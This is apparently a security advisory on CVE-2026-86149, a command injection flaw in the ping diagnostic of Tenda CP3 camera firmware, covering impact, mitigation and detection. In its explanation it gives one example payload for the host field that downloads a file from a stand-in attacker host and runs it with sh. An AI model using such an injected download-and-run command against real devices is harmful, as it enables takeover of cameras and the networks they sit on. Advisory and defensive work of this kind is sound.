Overview
Tenda has a second critical OS command injection vulnerability disclosed the same day as CVE-2026-86148 in the CP3 Wi-Fi pan/tilt camera line. Tracked as CVE-2026-86149, the flaw lives in Net/NetCheckPing.cpp, the component responsible for the device's built-in network connectivity check (ping) feature, and is triggered by the interface_name or host argument.
Like its sibling vulnerability, this flaw allows a remote, unauthenticated attacker to execute arbitrary operating system commands on the camera's firmware.
Technical Details
| Field | Value |
|---|---|
| CVE ID | CVE-2026-86149 |
| CWE | CWE-78 (OS Command Injection) |
| Severity | Critical (CVSS 3.1: 9.1) |
| Affected Component | Net/NetCheckPing.cpp |
| Affected Parameters | interface_name, host |
| Attack Vector | Network |
| Affected Firmware | Tenda CP3 27.5.57.101 |
| Public Exploit | None known at time of writing |
How It Works
NetCheckPing.cpp implements the camera's diagnostic ping function, which is meant to let a user (or the camera's companion app) verify connectivity to a given host or network interface. The function builds a shell command using the interface_name or host value supplied in the request, but does not validate or escape the input against a whitelist of expected characters or hostname formats.
An attacker who submits a crafted host value containing shell metacharacters (e.g. ; wget http://evil/x -O /tmp/x; sh /tmp/x) can cause the device to execute arbitrary commands during what should be a benign connectivity check.
Impact Assessment
As with CVE-2026-86148, successful exploitation gives an attacker command execution on the camera itself, enabling:
- Full device takeover for persistent backdoors or botnet recruitment
- Interception of the camera's video/audio stream
- Use of the camera as a network pivot point into the LAN it is connected to
- Theft of stored Wi-Fi credentials or cloud-storage tokens
CVE-2026-86149 is part of the same firmware-wide pattern of unsanitized input reaching shell commands, alongside CVE-2026-86148, CVE-2026-86151, and CVE-2026-86152 in Tenda CP3 27.5.57.101 — reinforcing that this is a systemic issue in the firmware's networking code rather than an isolated bug.
Mitigation
Immediate Actions
- Check for a firmware update from Tenda that addresses CVE-2026-86149, and apply it as soon as it is released.
- Do not expose CP3 management interfaces to the internet. Keep the device on an isolated, firewalled LAN or VLAN.
- Disable diagnostic/ping features in the device's admin panel if they are not required.
- Segment IoT cameras away from trusted network segments to limit blast radius if a device is compromised.
Detection Opportunities
- Monitor for unusual outbound connections initiated by camera devices, particularly to unfamiliar IPs shortly after a ping/connectivity-check request.
- Watch for malformed or unusually long
host/interface_namevalues in management-interface traffic. - Flag unexpected process spawning or configuration changes on camera devices following any exposure to untrusted networks.
Background: IoT Camera Security
Diagnostic utilities like ping checks are a common source of command injection in embedded devices because developers often shell out to system binaries (ping, traceroute) using string concatenation rather than safe argument-passing APIs. Combined with internet-facing management interfaces and infrequent patch cycles, this makes consumer IP cameras a recurring target for botnet operators.
Given the CVSS 9.1 severity and the low complexity required to exploit it, internet-exposed Tenda CP3 devices should be treated as a high-priority remediation item.